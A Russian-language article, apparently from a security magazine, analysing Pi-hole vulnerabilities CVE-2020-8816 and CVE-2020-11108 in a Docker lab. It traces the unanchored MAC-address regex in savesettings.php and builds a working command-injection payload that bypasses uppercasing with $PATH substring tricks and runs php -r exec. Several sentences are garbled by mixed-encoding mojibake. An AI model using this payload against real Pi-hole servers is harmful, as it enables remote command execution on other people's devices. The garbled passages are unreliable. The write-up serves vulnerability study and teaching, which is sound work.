Дыры в дыре. Как работают уязвимости в Pi-hole, которые позволяют захватить Raspberry Pi - «Новости»

Pi-hole — это DNS-сервер и небольшой веб-интерфейс для настройки блокировщика и просмотра статистики. Приставка Pi тут неспроста, поскольку разработчики предполагали, что ставить их софт будут на Raspberry Pi (а заодно название звучит как «дырка для пирога»). При этом ничто в целом не мешает ставить Pi-hole и на другое железо.

Коротко

CVE-2020-8816 — эта уязвимость в Pi-hole существует из-за некорректной санитизации MAC-адреса при добавлении его в список. Специально сформированный MAC-адрес позволяет злоумышленнику внедрить свои команды в строку вызова. Баг затрагивает все версии Pi-hole до 4.3.2 включительно.

CVE-2020-11108 — обновление скрипта Gravity в Pi-hole до версии 4.4 позволяет загружать произвольные файлы в веб-директорию системы. Злоумышленник может загрузить PHP-файл, содержащий вредоносный код. Ошибка находится в функции gravity_DownloadBlocklistFromUrl РІ файле gravity.sh. Также РѕРЅР° может быть использована РІ сочетании СЃ правилом sudo для пользователя www-data, чтобы выполнить повышение привилегий до суперпользователя.

Нашли уязвимости Ник Фришетт (Nick Frichette), разработчик и ИБ-исследователь из США, и Франсуа Рено-Филиппон (Francois Renaud-Philippon) — ИБ-исследователь из Канады.

Стенд

Начнем со стенда. Тут все просто, разработчики Pi-Hole предоставляют официальный контейнер Docker с дистрибутивом. Для тестирования всех уязвимостей воспользуемся версией 4.3.2.

docker run --rm --name pihole --hostname pihole -p80:80 -p53:53 pihole/pihole:4.3.2

После непродолжительной загрузки на 80 порту можно найти веб-интерфейс администратора.

Пароль будет сгенерирован в процессе загрузки контейнера и выведен в консоль.

Теперь осталось скачать исходники админской панели с GitHub (ZIP) — и можно приступать к разбору уязвимости.

RCE через MAC-адрес

Для начала обратимся к исходным кодам приложения, раз они имеются. В первую очередь проверим наличие RCE. Для этого поищем в коде на PHP основные функции, которые допускают исполнение кода. Я буду использовать PHPStorm и следующую регулярку.

(exec|passthru|system|shell_exec|popen|proc_open|pcntl_exec)s*(
[/code]

Она не идеальна, но для быстрого поиска сгодится.

Сразу видим, что нашлась пачка интересных мест. Давай посмотрим на них поближе.

Начнем с файла savesettings.php. Он отвечает за сохранение настроек в разделе Settings, для каждой вкладки есть отдельная ветка кода.

216:
// Process request
217:
switch ($_POST["field"]) {
218:
// Set DNS server
219:
case "DNS":
...
383:
case "API":
...
548:
case "DHCP":

Нас интересует вкладка DHCP, там происходит подозрительный вызов функции exec.

548:
case "DHCP":
549: 
550:
if(isset($_POST["addstatic"]))
551:
{
552:
$mac = $_POST["AddMAC"];
553:
$ip = $_POST["AddIP"];
554:
$hostname = $_POST["AddHostname"];
...
605:
exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);

В процессе выполнения происходит вызов утилиты pihole, где в качестве параметров командной строки передаются значения AddMAC, AddIP, AddHostname РёР· POST-запроса. Первая мысль: просто внедрить СЃРІРѕСЋ команду РїСЂРё помощи && или ||. Однако переменные предварительно проходят некоторые проверки. Давай посмотрим на них. Начнем с IP.

562:
if(!validIP($ip) && strlen($ip) > 0)
563:
{
564:
$error .= "IP address (".htmlspecialchars($ip).") is invalid!
";
565:
}

Помимо двух регулярок, выполняется проверка встроенной в PHP функцией filter_var с опцией FILTER_VALIDATE_IP.

14: function validIP($address){
15:
if (preg_match('/[.:0]/', $address) && !preg_match('/[1-9a-f]/', $address)) {
16:
// Test if address contains either `:` or `0` but not 1-9 or a-f
17:
return false;
18:
}
19:
return !filter_var($address, FILTER_VALIDATE_IP) === false;
20: }

Здесь особо не разгуляешься, и пропихнуть левые символы не удастся.
Тогда переходим к hostname.

567:
if(!validDomain($hostname) && strlen($hostname) > 0)
568:
{
569:
$error .= "Host name (".htmlspecialchars($hostname).") is invalid!
";
570:
}

Тут уже три регулярки. Первая запрещает использовать любые символы, кроме цифр, a-z, точки, минуса и подчеркивания, а остальные проверяют длину строки.

36: function validDomain($domain_name)
37: {
38:
$validChars = preg_match("/^([_a-zd](-*[_a-zd])*)(.([_a-zd](-*[a-zd])*))*(.([a-zd])*)*$/i", $domain_name);
39:
$lengthCheck = preg_match("/^.{1,253}$/", $domain_name);
40:
$labelLengthCheck = preg_match("/^[^.]{1,63}(.[^.]{1,63})*$/", $domain_name);
41:
return ( $validChars && $lengthCheck && $labelLengthCheck ); //length of each label
42: }

Здесь тоже нет возможности внедрить нужные нам символы.

Остается MAC-адрес.

556:
if(!validMAC($mac))
557:
{
558:
$error .= "MAC address (".htmlspecialchars($mac).") is invalid!
";
559:
}

53: function validMAC($mac_addr)
54: {
55:
// Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
56:
return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1);
57: }

А вот здесь нас ждет удача. Регулярка говорит нам, что строка должна содержать 6 пар символов английского алфавита и цифр и они могут быть разделены двоеточием или нет. Но вот незадача, отсутствуют символы начала и конца строки. Это значит, что достаточно, чтобы было как минимум одно вхождение такой регулярки, а помимо нее можно указывать все что хочется.

Однако здесь нас поджидает небольшая проблемка.

560:
$mac = strtoupper($mac);

Все буквы в строке с MAC-адресом переводятся в верхний регистр. Так как команды в Linux регистрозависимы, не получится просто внедрить нужную, придется искать обход. К счастью, шелл в Linux очень гибкая штука и сделать байпасс не составит труда. Если бы функция exec использовала интерпретатор bash для выполнения команд, то решение было бы совсем простым: начиная с четвертой версии в Bash появилась конструкция вида ${VAR,,}, которая меняет регистр букв на строчные в значении переменной. Но exec использует /bin/sh.

Но не стоит отчаиваться, ведь у нас есть переменные окружения. Всеми любимая $PATH как раз состоит из букв верхнего регистра и содержит большое количество символов нижнего. Добавим новую запись с MAC-адресом 000000000000$PATH, чтобы увидеть содержимое этой переменной окружения.

По умолчанию в контейнере она имеет следующий вид:

/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[/code]

Чтобы не собирать всю необходимую команду из этих букв, воспользуемся php, так как местные функции регистронезависимы. Р’РѕС‚ РјРѕР№ пейлоад:

php -r 'exec(strtolower("echo 1 > /tmp/owned"));'

Чтобы исключить любые проблемы с символами в длинных командах, можно воспользоваться функцией hex2bin вместо strtolower, но для моего пейлоада сгодится и эта.

Получается, что нам нужны символы p, h и r. Воспользуемся символами замены Рё удаления подстроки. РЎРёРјРІРѕР» p находится на третьей позиции. Конструкция A=${PATH#??} удалит первые два символа, и в переменной A останется такая подстрока:

pt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Теперь из нее нужно удалить все, кроме первого символа, для этого используем P=${A%${A#?}}.

Теперь h. Он находится на восьмой позиции, поэтому удаляем первые семь символов A=${PATH#???????}. Оставляем только первый символ при помощи уже известной нам конструкции H=${A%${A#?}}.

И наконец — r. Удаляем все символы начиная с первого слеша до первого двоеточия плюс три символа: A=${PATH#/*:???}. В итоге останется такая подстрока:

r/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Снова оставляем только первый символ R=${A%${A#?}}.

WWW



Подробнее про манипуляцию со строками можно прочитать в мануале Bash, там все подробно расписано с примерами использования.





Собираем все наши конструкции вместе и получаем:

A=${PATH#??};P=${A%${A#?}};A=${PATH#???????};H=${A%${A#?}};A=${PATH#/*:???};R=${A%${A#?}};
[/code]

Теперь в переменных $P, $H и $R находятся буквы p, h и r в нижнем регистре.

Можно формировать основной пейлоад.

000000000000;A=${PATH#??};P=${A%${A#?}};A=${PATH#???????};H=${A%${A#?}};A=${PATH#/*:???};R=${A%${A#?}};$P$H$P -$R 'exec(strtolower("echo 1 > /tmp/owned"));';
[/code]

Отправляем его в качестве MAC-адреса и можем видеть файл owned РІ директории /tmp.

Точно такая же проблема присутствует в функции удаления существующего MAC-адреса.